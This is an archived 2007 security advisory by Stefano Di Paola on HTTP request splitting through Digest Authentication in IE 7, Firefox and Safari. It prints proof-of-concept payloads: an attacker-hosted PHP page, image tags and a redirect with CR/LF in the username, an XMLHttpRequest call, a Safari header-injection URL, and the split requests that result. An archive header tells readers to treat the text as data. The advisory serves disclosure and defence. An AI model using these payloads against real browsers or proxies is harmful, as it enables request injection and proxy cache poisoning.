Wisec - The WIse SECurity

Wisec - The WIse SECurity - Stefano Di Paola, wisec.it.

- Published: date not stated
- Original: <http://www.wisec.it/vulns.php?id=11>
- Preserved from: http://www.wisec.it/vulns.php?id=11 (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Wisec - The WIse SECurity

THP Wisec USH DigitalBullets TheHackersPlace network

|

[image: image]

The ***WI***se ***SEC***urity

| .italian .english | |

Wisec Home SecSearch Projects Papers Security Thoughts

| News

Flash Application Testing: A New Vector for XSS and Cross Site Flashing.

IE and Firefox Digest Authentication Request Splitting.

Php import_req_var globals overwrite Advisory.

Subverting Ajax - The Paper.

Adobe Plugin Multiple Vulnerabilities.

Wisec@23rd.CCC Congress in Berlin - 29th Dec. 2006 - Subverting Ajax.

SecSearch. Search Engine for Security Community.

Mysql COM_TABLE_DUMP Flaws.

Mysql Anonymous login Flaw.

A new project to stop embed passwords in Php scripts: PassBroker.

MySQL new three vulnerabilities unleashed

PHP shmop safemode bypass

PHP RFC1867 Vuln - POC Released!

Search on Wisec

[image: Google]

|

IE 7 and Firefox Browsers Digest Authentication Request Splitting

Updated on 27th April 2007 see updated details here

Safari is also affected by this issue.

Title:

IE 7 and Firefox Browsers Digest Authentication

Original Discovery and Research:

Stefano Di Paola

Vulnerable:

Internet Explorer 7.0.5730.11 Mozilla Firefox 2.0.0.3

Severity:

Medium

Vendor :

http://www.microsoft.com/ http://www.mozilla.com/

Type of Vulnerability:

HTTP Request Splitting

Tested On :

Firefox 2.0.0.3 under Windows XP SP2, Firefox 2.0.0.3 under Ubuntu 6.06, Internet Explorer SP2 under Windows XP SP2.

Discovery Date :

20070213

Release Date :

20070425

I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:

1. [http*://www.securityfocus.com/archive/1/411585](http://www.securityfocus.com/archive/1/411585)*
2. [http*://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html](http://www.webappsec.org/lists/websecuri*
3. [http*://download2.rapid7.com/r7-0026/](http://download2.rapid7.com/r7-0026/)*
4. [http*://www.wisec.it/docs.php?id=4 (PDF, About Auto Injection with Req.Split.)](http://www.wisec.it/docs.php?id=4)*

II) Long description

As explained in Rfc2617 (http://www.ietf.org/rfc/rfc2617.txt) Digest Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<
**
The first time the client requests the document, no Authorization header is sent, so the server responds with:

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
        realm="testrealm@host.com",
        qop="auth,auth-int",
        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
        opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

The client may prompt the user for the username and password, after which it will respond with a new request, including the following Authorization header:

```
Authorization: Digest username="Mufasa",
        realm="testrealm@host.com",
        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
        uri="/dir/index.html",
        qop=auth,
        nc=00000001,
        cnonce="0a4f113b",
        response="6629fae49393a05397450978507c4ef1",
        opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

**
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:
**
```
XMLHttpRequest("GET","page",async, "user","pass");
```
**
And with img/iframes or related:
**
```
<img src="http://user:pass@host/page">
```
**

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

```
--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<
**
<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm="1@example.com", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
opaque="5ccc069c403ebaf9f0171e9517f40e41"');
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>
**
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<
```

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:
**
<img src="http://user%0aname:pp@evilhost/req.php">
**
Let's see what happens after the first request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<
**
HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8
...
**
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

and then Firefox resend its request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<
**
GET /req.php HTTP/1.1
Host: at.tack.er
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)
Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c
Cookie: PHPSESSID=6555
**
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:
**
<img src="http://evilhost/redir.php">
**

With redir.php :
**
<?php
header("Location: http://user%0aname:ds@avilhost/req.php");
?>
**
Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable. Let's use a standard request
with XMLHttpRequest:

```
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
**
x=new XMLHttpRequest();
x.open("POST","req.php?",false,"user\r\nname","pass");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.onreadystatechange=function (){
  if (x.readyState == 4){

 }
}
// The payload with a request to a page with evil content
x.send("RequestPayload");
**
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
```

This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, for example in the presence
of a proxy the local proxy cache could be poisoned.
The previous references details this and other attacks.

Note: there is some difference between IE and Firefox, but it'll
be left as an exercise for the reader.

Update

Thanks to Comcor for pointing me out about this

It looks like **Safari is also affected by **this** issue**.

Request url:
http://*user%0aX-Foobar%3A%20uhoh%0aAuthorization%3A%20Digest%20username="name:pass@evilhost.tld/foo/*

GET /foo/ HTTP/1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Paros/3.2.13
Authorization: Digest username="user
X-Foobar: uh-oh
Authorization: Digest username=\"name", realm="private",
nonce="8tV0WgcvBAA=3efa17bd9bf4ac5f2bb9169880d6737708acfee0",
uri="/foo/", response="facc3cb14eb07ad325696d05223038d3",
algorithm="MD5", cnonce="a6071432b914d781a08fe75ce2c13af7",
nc=00000001, qop="auth"
Connection: keep-alive
Proxy-Connection: keep-alive
Host: evilhost.tld

LEGAL NOTICES

Florence, 25th April 2007

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

| |